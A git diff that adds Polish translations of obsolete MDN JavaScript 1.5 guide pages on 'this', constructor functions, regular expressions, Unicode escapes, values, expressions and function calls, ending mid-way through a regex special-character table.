b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_'this'_do_obiektu_referencji/index.html new file mode 100644 index 0000000000..2b4ad01835 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_'this'_do_obiektu_referencji/index.html @@ -0,0 +1,32 @@ +--- +title: Zastosowanie 'this' do obiektu referencji +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_'this'_do_obiektu_referencji +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Zastosowanie_this_do_obiektu_referencji" name="Zastosowanie_this_do_obiektu_referencji">Zastosowanie <code>this</code> do obiektu referencji</h3> +<p>JavaScript posiada specjalne słowo kluczowe <code>this</code>, które możemy użyć wewnątrz metody wskazującej nam aktualny obiekt. Na przykład: przypuśćmy, że mamy funkcję nazywającą się <code>validate</code>, która waliduje wartość własności obiektów, nadając im wartość wyższą lub niższą:</p> +<pre>function validate(obj, lowval, hival) { + if ((obj.value < lowval) || (obj.value > hival)) + alert("Invalid Value!") +} +</pre> +<p>Następnie, możesz nazwać/powiedzieć, że funkcja <code>validate</code>, w każdym elemencie formularza, <code>onChange</code> posiada uchwyt, którego używa do przejścia do określonego elementu <code>formularza</code>, jak w następującym przykładzie:</p> +<pre><INPUT TYPE="text" NAME="age" SIZE=3 + onChange="validate(this, 18, 99)"> +</pre> +<p>Generalnie, <code>this</code> jest referencją do nazwy obiektu w metodzie.</p> +<p>Kiedy połączymy właściwości <code>form</code>, <code>this</code> który potrafi się odwołać do bieżącego obiektu formularza będącego jego 'rodzicem'. W poniższym przykładzie, formularz <code>myForm</code> składa się z obiektu <code>Text</code> oraz przycisku. Kiedy użytkownik kliknie przycisk, wartość obiektu <code>Text</code> jest ustawiana do nazwy formularza. Przyciski wywołują uchwyt zdarzenia <code>onClick</code> poprzez zastosowanie <code>this.form</code> w celu wskazania formularza będącego 'rodzicem', <code>myForm</code>.</p> +<pre><FORM NAME="myForm"> +Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga"> +<P> +<INPUT NAME="button1" TYPE="button" VALUE="Show Form Name" + onClick="this.form.text1.value=this.form.name"> +</FORM> +</pre> +<div class="noinclude"> + </div> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_konstruktorów_funkcji/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_konstruktorów_funkcji/index.html new file mode 100644 index 0000000000..1c5d6cdbda --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_konstruktorów_funkcji/index.html @@ -0,0 +1,62 @@ +--- +title: Zastosowanie konstruktorów funkcji +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_konstruktorów_funkcji +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Zastosowaniem_konstruktor.C3.B3w_funkcji" name="Zastosowaniem_konstruktor.C3.B3w_funkcji">Zastosowaniem konstruktorów funkcji</h3> +<p>Alternatywnie, możesz utworzyć obiekt w dwóch krokach:</p> +<ol> + <li>Zdefiniować typ obiektu poprzez napisanie konstruktora funkcji.</li> + <li>Utworzyć natychmiast nowy obiekt.</li> +</ol> +<p>Do zdefiniowania typu obiektu, tworzymy funkcję dla typu obiektu który określa nazwę, właściwości i metody. Na przykład, sądząc, że chcesz utworzyć typ obiektu dla samochodów. Chcesz ten typ obiektu nazwać <code>car</code> i chcesz posiadać właściwości do zrobienia <code>make</code> , <code>model</code>, <code>year</code> i <code>color</code>. Aby to zrobić, powinieneś napisać następującą funkcje:</p> +<pre>function car(make, model, year) { + this.make = make; + this.model = model; + this.year = year; +} +</pre> +<p>Uwaga, użycie <code>this</code> pozwala wartości własności obiektów opartych na wartościach pasujących do tej funkcji.</p> +<p>Teraz możesz utworzyć obiekt nazwany <code>mycar</code> w następującym kodzie:</p> +<pre>mycar = new car("Eagle", "Talon TSi", 1993); +</pre> +<p>Instrukcja ta tworzy <code>mycar</code> i dopuszcza to do określonych wartości. Potem wartość <code>mycar.make</code> jest łańcuchem "Eagle", <code>mycar.year</code> jest liczba całkowita 1993, w ten sposób<b>(?)</b>.</p> +<p>Utwórz jakis numer obiektu <code>car</code> nazywając <code>new</code>. Na przykład,</p> +<pre>kenscar = new car("Nissan", "300ZX", 1992); +vpgscar = new car("Mazda", "Miata", 1990); +</pre> +<p>obiekt posiada właściwość która sama w sobie posiada jeszcze jeden obiekt. Na przykład; przypuśćmy, że zdefiniujemy obiekt nazwany następująco <code>person</code>:</p> +<pre>function person(name, age, sex) { + this.name = name + this.age = age + this.sex = sex +} +</pre> +<p>i potem przypisze nowe obiekty <b>person</b> jako następujące:</p> +<pre>rand = new person("Rand McKinnon", 33, "M"); +ken = new person("Ken Jones", 39, "M"); +</pre> +<p>Potem znów zapisz definicję <b>car</b> włączając własne właściwości, które pobierają obiekt <code><b>person</b></code>, jak następująco:</p> +<pre>function car(make, model, year, owner) { + this.make = make; + this.model = model; + this.year = year; + this.owner = owner +} +</pre> +<p>Błyskawiczne nowe obiekty, następnie użyjesz:</p> +<pre>car1 = new car("Eagle", "Talon TSi", 1993, rand); +car2 = new car("Nissan", "300ZX", 1992, ken); +</pre> +<p>Uwaga, która zamiast przechodzić z wartości literału string lub integer kiedy są tworzone nowe obiekty, powyższe instrukcje dzieją się w obiektach <code>rand</code> i <code>ken</code> jako argumenty dla właściciela. Potem jeśli chcesz przekonać się do nazwy właściciela <code>car2</code> , możesz zaakceptować następujące warunki:</p> +<pre>car2.owner.name +</pre> +<p>Notuj wszystko co możesz zawsze dodać do poprzedniego zdefiniowanego obiektu. Na przykład, instrukcja</p> +<pre>car1.color = "black" +</pre> +<p>dodawaj właściwości <code>color</code> do <code>car1</code>, i przydziel tą wartość "black." Jednakże, to nie wpływa na pozostałe obiekty. Dodaj nową właściwość do wszystkich obiektów tego samego typu, musisz mieć dodaną właściwość do definicji obiektu typu <code>car</code>.</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_wyrażenia_regularnego/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_wyrażenia_regularnego/index.html new file mode 100644 index 0000000000..e6a76041a3 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_wyrażenia_regularnego/index.html @@ -0,0 +1,43 @@ +--- +title: Tworzenie wyrażenia regularnego +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_wyrażenia_regularnego +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Tworzenie_wyra.C5.BCenia_regularnego" name="Tworzenie_wyra.C5.BCenia_regularnego">Tworzenie wyrażenia regularnego</h3> +<p>Wyrażenie regularne możemy skonstruować na jeden z dwóch sposobów:</p> +<ul> + <li>za pomocą literału wyrażenia regularnego, np.</li> +</ul> +<pre> re = /ab+c/; </pre> +<dl> + <dd> + <dl> + <dd> + Literały wyrażeń regularnych są kompilowane w czasie czytania skryptu ( + <i> + script evaluation</i> + ). Gdy wyrażenie regularne nie będzie się zmieniać, sposób ten zapewni lepszą wydajność.</dd> + </dl> + </dd> +</dl> +<ul> + <li>wywołując konstruktora obiektu <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/RegExp">RegExp</a>, np.</li> +</ul> +<pre> re = new RegExp("ab+c"); </pre> +<dl> + <dd> + <dl> + <dd> + Użycie konstruktora powoduje kompilację wyrażenia regularnego w czasie wykonywania ( + <i> + runtime</i> + ). Użyj konstruktora, jeśli wiadomo, że wyrażenie regularne będzie się zmieniało lub, gdy nie będzie znane i zostanie podane z innego źródła, np. przez użytkownika.</dd> + </dl> + </dd> +</dl> +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory", "Przewodnik po języku JavaScript 1.5:Zapisywanie wzorca wyrażenia regularnego") }}</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/unicode/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/unicode/index.html new file mode 100644 index 0000000000..38fa6c8d7f --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/unicode/index.html @@ -0,0 +1,110 @@ +--- +title: Unicode +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Unicode +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Grammar_and_types +--- +<p> +</p> +<h3 id="Unicode" name="Unicode"> Unicode </h3> +<p>Unicode jest uniwersalnym standardem kodowania znaków, dzięki któremu można wyświetlać znaki charakterystyczne dla różnych języków. Obejmuje języki Ameryki, Europy, Środkowego wschodu, Afryki, Indii, Azji i języki pacyficzne (ponadregionalne), ale również inne symbole historyczne czy techniczne. Unicode zamienia, konwertuje i wyświetla wielojęzyczne teksty, symbole techniczne i matematyczne a dzięki temu rozwiązuje wiele międzynarodowych problemów językowych w systemach obliczeniowych związanych ze standardami charakterystycznymi dla konkretnych narodów. Jednak nie wszystkie nowoczesne lub archaiczne języki są obecnie wspierane. +</p><p>Zestaw znaków Unicode może być używany praktycznie we wszystkich znanych typach kodowania. Unicode jest modelowany podobnie jak w zestawach znaków ASCII (Amerykański standardowy kod wymiany informacji). Używa opisu literowego i liczbowej wartości dla każdego kodowanego znaku. 16 bitowa wartość jest definiowana jako liczba w systemie szesnastkowym wraz z przedrostkiem <b>U</b> na przykład , <b>U+0041</b> przedstawia <b>A</b>, a unikalna nazw dla tej wartości to <b>LATIN CAPITAL LETTER A</b>. </p><p><b>Nie jest wspierany w wersjach JavaScript wcześniejszych niż 1.3.</b> </p> +<h4 id="Unicode_zgodny_z_ASCII_i_ISO" name="Unicode_zgodny_z_ASCII_i_ISO"> Unicode zgodny z ASCII i ISO </h4> +<p>Unicode jest zgodny z kodami ASCII i jest wspierany przez wiele programów. Pierwsze 128 znaków Unicode odpowiadają kodom ASCII i mają tę samą wartość bajtu. W Unicode, przykładowo, znaki <i>U+0020</i> i <i>U+007E</i> są równoważne w ASCII znakom <i>0x20</i> i <i>0x7E</i> . Nieco inaczej jest w ASCII, który wspiera łaciński alfabet i używa siedmiobitowego zestawu znaków. Unicode używa szesnastobitowych wartości dla każdego znaku i uwzględnia dziesięć tysięcy znaków. Rozszerzony mechanizm UTF 16, uwzględnia kodowanie miliona znaków więcej, przez używanie 16 bitowych par. </p><p><i>Unicode</i> jest w pełni zgodny z międzynarodowym standardowym ISO/IEC 10646 1; 1993 , który jest podzbiorem ISO 10646 i wspiera ISO Ucs 2, który używa dwu oktetów (dwóch bajtów albo 16 bitów). </p><p>JavaScript i Nawigator wspiera Unicode dzięki czemu można używać w JavaScript-ie niełacińskich, międzynarodowych i lokalnych znaków, oraz specjalistycznych symboli technicznych oraz pozwala kodować wielojęzyczny tekst. Odkąd Unicode jest zgodny z ASCII, programy mogą używać znaków ASCII. W komentarzach używać możemy znaków Unicode nie ASCII, literałów string, identyfikatorów i wcześniejszych wyrażeń, i wyrażeń regularnych JavaScript-u. +</p> +<h4 id="Sekwencje_ucieczki_do_Unicode" name="Sekwencje_ucieczki_do_Unicode"> Sekwencje ucieczki do Unicode </h4> +<p>Możesz użyć sekwencje ucieczki do Unicode w literałach łańcuchowych, wyrażeniach regularnych i identyfikatorach. Sekwencja ucieczki sześciu znaków ASCII: <b>\u</b> i czterocyfrowa liczba heksadecymalna. Na przykład, <b>\u00A9</b> reprezentuje symbol <i>copyright</i>. Każda sekwencja ucieczki Unicode w JavaScript-ie jest interpretowana jako jeden znak. +</p><p>Następujący kod zawiera symbol <i>copyright</i> i napis "<i>Netscape Communications</i>". +</p> +<pre>x="\u00A9 Netscape Communications"</pre> +<p>Następująca tabela jest listą często używanych specjalnych znaków i ich wartości Unicode. </p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Kategoria</th> +<th>Wartość Unicode</th> +<th>Nazwa</th> +<th>Nazwa formatowania</th> +</tr> +<tr> +<td>Białe spacje</td> +<td><b>\u0009</b></td> +<td><b>Tab</b></td> +<td><<b>TAB></b></td> +</tr> +<tr> +<td> </td> +<td><b>\u000B</b></td> +<td><b>Pionowy tabulator</b></td> +<td><b><VT></b></td> +</tr> +<tr> +<td> </td> +<td><b>\u000C</b></td> +<td><b>Z kanału</b></td> +<td><b><FF></b></td> +</tr> +<tr> +<td> </td> +<td><b>\u0020</b></td> +<td><b>Spacja</b></td> +<td><b><SP></b></td> +</tr> +<tr> +<td>Linia kończąca wartość</td> +<td><b>\u000A</b></td> +<td><b>Line Feed</b></td> +<td><b><LF></b></td> +</tr> +<tr> +<td> </td> +<td><b>\u000D</b></td> +<td><b>Powrót karetki</b></td> +<td><b><CR></b></td> +</tr> +<tr> +<td>Dodatkowe znaki ucieczki Unicode</td> +<td><b>\u0008</b></td> +<td><b>Backspace</b></td> +<td><b><BS></b></td> +</tr> +<tr> +<td> </td> +<td><b>\u0009</b></td> +<td><b>Poziomy tabulator</b></td> +<td><b><HT></b></td> +</tr> +<tr> +<td> </td> +<td><b>\u0022</b></td> +<td><b>Podwójny cudzysłów</b></td> +<td>"</td> +</tr> +<tr> +<td> </td> +<td><b>\u0027</b></td> +<td><b>Pojedynczy cudzysłów</b></td> +<td>'</td> +</tr> +<tr> +<td> </td> +<td><b>\u005C</b></td> <td><b>Backslash</b></td> +<td><b>\</b></td> +</tr> +</tbody></table> +<p><small><b>Tabela: Wartości Unicode dla specjalnych czcionek</b></small> +</p><p>JavaScript używa sekwencje znaku ucieczki Unicode i jest ona inna niż w Javie. W JavaScript-ie, sekwencja ucieczki nigdy nie interpretuje jako pierwsza znaków specjalnych. Przykładowo, znak końca linii sekwencji ucieczki nie zakańcza ciągu zanim nie jest on zinterpretowany przez funkcje. JavaScript ignoruje każdą sekwencje ucieczki, jeśli jest ona użyta w komentarzu. W Javie, jeśli sekwencja ucieczki używana jest w pojedynczej linii komentarza interpretowana jest wtedy jako znak Unicode. W ciągu literałów kompilator Javy interpretuje wpierw sekwencje ucieczki. Przykładowo, w przypadku użycia w Javie znaku końca linii (\u000A), zakańcza on literał ciągu. W Javie doprowadza to do wystąpienia błędu, ponieważ znaki końca linii nie są dozwolone w literałach ciągów. Musisz użyć \n do zakończenia linii w literałach. W JavaScript-ie sekwencja ucieczki działa tak samo jak \n. +</p> +<div class="note">Program do konwersji długich ciągów znaków <a class="external" href="http://www.hot-tips.co.uk/useful/unicode_converter.HTML">Hot-Tips' Unicode Converter</a>, autorstwa Bob Foley.</div> +<h4 id="Wy.C5.9Bwietlanie_czcionek_z_Unicode" name="Wy.C5.9Bwietlanie_czcionek_z_Unicode"> Wyświetlanie czcionek z Unicode </h4> +<p>Można używać Unicode do wyświetlania znaków w rożnych językach lub technicznych symboli. Dla poprawnego wyświetlania klient tj. Netscape Navigator 4.x lub Netscape 6 musi wspomagać Unicode. Dodatkowo odpowiednia czcionka Unicode musi być dostępna dla klienta, jak i platforma klienta musi wspomagać Unicode. Często zdarza się, że czcionki Unicode nie wyświetlają wszystkich znaków. Niektóre platformy tj. Windows 95 posiadają tylko częściowe wsparcie Unicode. +</p><p>W celu pobrania znaku typu non-ASCII klient musi go wysłać w kodzie Unicode. Używając standardowej rozszerzonej klawiatury klient nie może łatwo wyświetlić dodatkowych znaków wspieranych przez Unicode. Czasami jedynym sposobem na wyświetlenie znaków w kodzie Unicode jest użycie sekwencji ucieczki Unicode. +</p><p>Więcej informacji o Unicode, zobacz <a class="external" href="http://www.unicode.org/">Unicode Consortium Web site</a> i The Unicode Standard, Version 2.0, wydane przez Addison-Wesley, 1996. +</p><p>{{ PreviousNext("Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Litera%C5%82y#Litera.C5.82y_znakowe", "Przewodnik po języku JavaScript 1.5:Wyrażenia") }} +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Unicode", "es": "es/Gu\u00eda_JavaScript_1.5/Unicode", "fr": "fr/Guide_JavaScript_1.5/Unicode", "ja": "ja/Core_JavaScript_1.5_Guide/Unicode", "ko": "ko/Core_JavaScript_1.5_Guide/Unicode" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wartości/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wartości/index.html new file mode 100644 index 0000000000..fc0464bd3a --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wartości/index.html @@ -0,0 +1,46 @@ +--- +title: Wartości +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Wartości +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Grammar_and_types +--- +<p> +</p> +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci"> Wartości </h3> +<p>JavaScript rozróżnia następujące typy: +</p> +<ul><li> <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Number">Liczby (Number)</a>, takie jak 42 lub 3.14159 +</li><li> <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Boolean">Logiczne (Boolean)</a> wartość, <code>true</code> albo <code>false</code> +</li><li> <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String">Łańcuchy znakowe (String)</a>, takie jak "Siema!" +</li><li> <code>null</code>, specjalne słowo oznaczające wartość null (pustą); <code>null</code> jest także wartością prymitywną; ponieważ JavaScript rozróżnia małe/duże litery, null to nie to samo co Null, NULL czy jakkolwiek inaczej. </li><li> <code>undefined</code> podstawowa właściwość, której wartość jest nieokreślona; <code>undefined</code> także jest wartością prymitywną. +</li></ul> +<p>Ten względnie niewielki zestaw typów wartości - lub <i>typów danych</i> - pozwala wyposażyć Twoją aplikację w wiele użytecznych funkcji. Nie występuje wyraźna różnica pomiędzy liczbami całkowitymi a wartościami rzeczywistymi, tak jak i w JavaScript nie ma w ogóle jawnego rozróżnienia typów danych. Możesz jednak, przykładowo, użyć obiektu <code>Date</code> oraz jego metod do obsługi dat. +</p><p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object">Obiekty</a> i <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">funkcje</a> to inne podstawowe elementy języka. Obiekty można sobie wyobrazić jako nazwane pojemniki na wartości, a funkcje jako procedury, które są wykonywane przez Twoją aplikację. +</p> +<h4 id="Konwersja_typu_danych" name="Konwersja_typu_danych"> Konwersja typu danych </h4> +<p>JavaScript jest językiem programowania o dynamicznych typach. Oznacza to, że przy deklaracji zmiennej nie musisz określać jej typu. Typy danych w razie potrzeby są automatycznie konwertowane w trakcie wykonywania skryptu. Możemy, przykładowo, zadeklarować zmienną następująco: </p> +<pre class="eval"><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/var">var</a> odpowiedz = 42 +</pre> +<p>a później przypisać tej samej zmiennej wartość tekstową, na przykład: +</p> +<pre>odpowiedz = "Dziękuję za wszystkie ryby..." +</pre> +<p>Ponieważ JavaScript posiada dynamiczne typy, przypisanie to nie powoduje komunikatu błędu. +</p><p>W wyrażeniach z operatorem <i>+</i> zawierających wartość tekstową oraz numeryczną, JavaScript konwertuje wartości numeryczne na tekst. Przyjrzyjmy się następującym instrukcjom. </p> +<pre>x = "Odpowiedzią jest " + 42 // zwraca "Odpowiedzią jest 42" +y = 42 + " jest odpowiedzią" // zwraca "42 jest odpowiedzią" +</pre> +<p>W wyrażeniach z innymi operatorami, JavaScript nie konwertuje wartości numerycznej do postaci tekstowej. Na przykład: </p> +<pre>"37" - 7 // zwraca 30 +"37" + 7 // zwraca 377 +</pre> +<p><br> +{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Przegląd JavaScriptu", "Przewodnik po języku JavaScript 1.5:Zmienne") }} +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Values", "es": "es/Gu\u00eda_JavaScript_1.5/Valores", "fr": "fr/Guide_JavaScript_1.5/Valeurs", "ja": "ja/Core_JavaScript_1.5_Guide/Values", "ko": "ko/Core_JavaScript_1.5_Guide/Values", "zh-cn": "cn/Core_JavaScript_1.5_Guide/Values" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wyrażenia/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wyrażenia/index.html new file mode 100644 index 0000000000..994db44f93 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wyrażenia/index.html @@ -0,0 +1,22 @@ +--- +title: Wyrażenia +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Wyrażenia +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Expressions_and_Operators +--- +<p> +</p> +<h3 id="Wyra.C5.BCenia" name="Wyra.C5.BCenia"> Wyrażenia </h3> +<p>Wyrażenia (<i>expression</i>) są ważnym ustawieniem literałów, zmiennych, operatorów oraz wyrażeń które są wykonywane dla pojedynczej wartości; wartością tą może być liczba, znak, lub wartość logiczną. </p><p>Konceptualnie, są dwa typy wyrażeń: te, które próbują przypisać wartość do zmiennych, i te, które po prostu posiadają wartość. Na przykład, wyrażenie x=7 jest wyrażeniem, które przydziela 7 wartości x. Wyrażenie to samo sprawdza liczbę siedem, podobnie także zachowuje się wyrażenie użyte w "przydzielonych operatorach". Z drugiej strony, możemy powiedzieć, że wyrażenie proste 3 + 4 staje się siódemką; lecz w taki sposób nie można dokonać przydzielenia. Operatory użyte jak wyrażenia są kierowane prosto jako <i>operatory</i>. +</p><p>JavaScript posiada następujące typy wyrażeń: +</p> +<ul><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne">Arytmetyczne</a>: ocenia liczby, na przykład 3.14159 +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%c5%82a%c5%84cuchach">Łańcuchowe</a>: ocenia łańcuch znaków, na przykład, "Fred" lub "234" +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_logiczne">Logiczne</a>: ocenia czy warunek jest prawdziwy czy fałszywy. </li><li> Obiektowe: ocenia obiekt (Zobacz: <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne">Operatory specjalne</a>) +</li></ul> +<p>{{ PreviousNext("Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Unicode#Wy.C5.9Bwietlanie_czcionek_z_Unicode", "Przewodnik po języku JavaScript 1.5:Operatory") }} +</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Expressions", "fr": "fr/Guide_JavaScript_1.5/Expressions", "ja": "ja/Core_JavaScript_1.5_Guide/Expressions" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wywołanie_funkcji/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wywołanie_funkcji/index.html new file mode 100644 index 0000000000..330237eed8 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wywołanie_funkcji/index.html @@ -0,0 +1,45 @@ +--- +title: Wywołanie funkcji +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Wywołanie_funkcji +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Functions +--- +<p> </p> + +<h3 id="Wywo.C5.82anie_funkcji" name="Wywo.C5.82anie_funkcji">Wywołanie funkcji</h3> + +<p>Definiowanie funkcji nie powoduje ich wykonania. Definiowanie funkcji po prostu ją wywołuje oraz określa co dana funkcja ma robić po wywołaniu. <em>Wywołanie</em> funkcji określa właściwą akcje z ustalonymi parametrami. Dla przykładu, gdy chcesz zdefiniować funkcje potęgowania należałoby wywołać ją następująco:</p> + +<pre>square(5) +</pre> + +<p>Powyższe stwierdzenie wywołuje funkcje z argumentem 5. Funkcja zostaje wykonana i zwraca wartość równą 25.</p> + +<p>Argumenty funkcji nie ograniczają się wyłącznie do łańcuchów znaków lub liczb. Można również przekazywać całe obiekty. Funkcja <code>show_props</code> (zdefiniowane w <a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_i_własności">obiekty i własności</a>) może posłużyć za przykład funkcji, gdzie argumentem jest obiekt.</p> + +<p>Funkcja może być rekurencyjna tj. wywoływać samą siebie. Przykładem może być funkcja licząca silnię:</p> + +<pre>function silnia(n) { + if ((n == 0) || (n == 1)) + return 1 + else { + var result = (n * silnia(n-1) ); + return result + } +} +</pre> + +<p>Można policzyć silnię od 1 do 5:</p> + +<pre>a=silnia(1) // zwraca 1 +b=silnia(2) // zwraca 2 +c=silnia(3) // zwraca 6 +d=silnia(4) // zwraca 24 +e=silnia(5) // zwraca 120 +</pre> + +<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Calling_Functions", "fr": "fr/Guide_JavaScript_1.5/Appel_de_fonctions", "ja": "ja/Core_JavaScript_1.5_Guide/Calling_Functions" } ) }}</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zapisywanie_wzorca_wyrażenia_regularnego/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zapisywanie_wzorca_wyrażenia_regularnego/index.html new file mode 100644 index 0000000000..65c13b3816 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zapisywanie_wzorca_wyrażenia_regularnego/index.html @@ -0,0 +1,215 @@ +--- +title: Zapisywanie wzorca wyrażenia regularnego +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Zapisywanie_wzorca_wyrażenia_regularnego +tags: + - JavaScript + - Przewodnik_JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +--- +<h3 id="Zapisywanie_wzorca_wyra.C5.BCenia_regularnego" name="Zapisywanie_wzorca_wyra.C5.BCenia_regularnego">Zapisywanie wzorca wyrażenia regularnego</h3> + +<p>Wzorzec wyrażenia regularnego składa się ze znaków prostych takich jak <code>/abc/</code> lub kombinacji znaków prostych i specjalnych, jak np. <code>/ab*c/</code> lub <code>/Rozdział (\d+)\.\d*/</code>. Ostatni przykład zawiera nawiasy, które działają jak urządzenie pamięci. Wzorzec w nawiasie użyty w tym porównaniu jest zapamiętywany w celu umożliwienia ponownego użycia, tak jak zostało to opisane w <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_wyra%c5%bceniami_regularnymi/U%c5%bcycie_odpowiedniego_znaku">Using Parenthesized Substring Matches</a>.</p> + +<p> </p> + +<h4 id="U.C5.BCywanie_prostych_wzorc.C3.B3w" name="U.C5.BCywanie_prostych_wzorc.C3.B3w">Używanie prostych wzorców</h4> + +<p>Proste wzorce tworzone są za pomocą znaków, z których ma składać się poszukiwany wynik. Przykładowo wzorzec /abc/ pasuje do kombinacji znaków w łańcuchach znaków tylko wtedy, gdy znaki 'abc' pojawiają się razem i dokładnie w takiej kolejności. Sukcesem zakończy się poszukiwanie tych znaków w łańcuchu "Cześć, znasz literki abc?" i "Najnowszym modelem samolotu jest slabcraft". W obydwu przypadkach występuje podciąg 'abc'. Nie zostaną za to zwrócone żadne wyniki w łańcuchu "abecadło z nieba spadło", ponieważ nie zawiera on podciągu 'abc'.</p> + +<h4 id="U.C5.BCywanie_znak.C3.B3w_specjalnych" name="U.C5.BCywanie_znak.C3.B3w_specjalnych">Używanie znaków specjalnych</h4> + +<p>When the search for a match requires something more than a direct match, such as finding one or more b's, or finding white space, the pattern includes special characters. For example, the pattern <code>/ab*c/</code> matches any character combination in which a single 'a' is followed by zero or more 'b's (* means 0 or more occurrences of the preceding item) and then immediately followed by 'c'. In the string "cbbabbbbcdebc," the pattern matches the substring 'abbbbc'.</p> + +<p>Poniższa tabela zawiera kompletny wykaz znaków specjalnych wraz z opisem stosowanych w wyrażeniach regularnych.</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Znak</th> + <th>Znaczenie</th> + </tr> + <tr> + <td>\</td> + <td>jedno z poniższych: + <ul> + <li>przed znakami rozumianymi zazwyczaj dosłownie oznacza, że znak ten jest znakiem specjalnym i nie jest rozumiany dosłownie. Na przykład /b/ oznacza znak 'b'. Umieszczenie przed 'b' ukośnika lewego (<em>backslash</em> ) powoduje, że znak ten oznacza 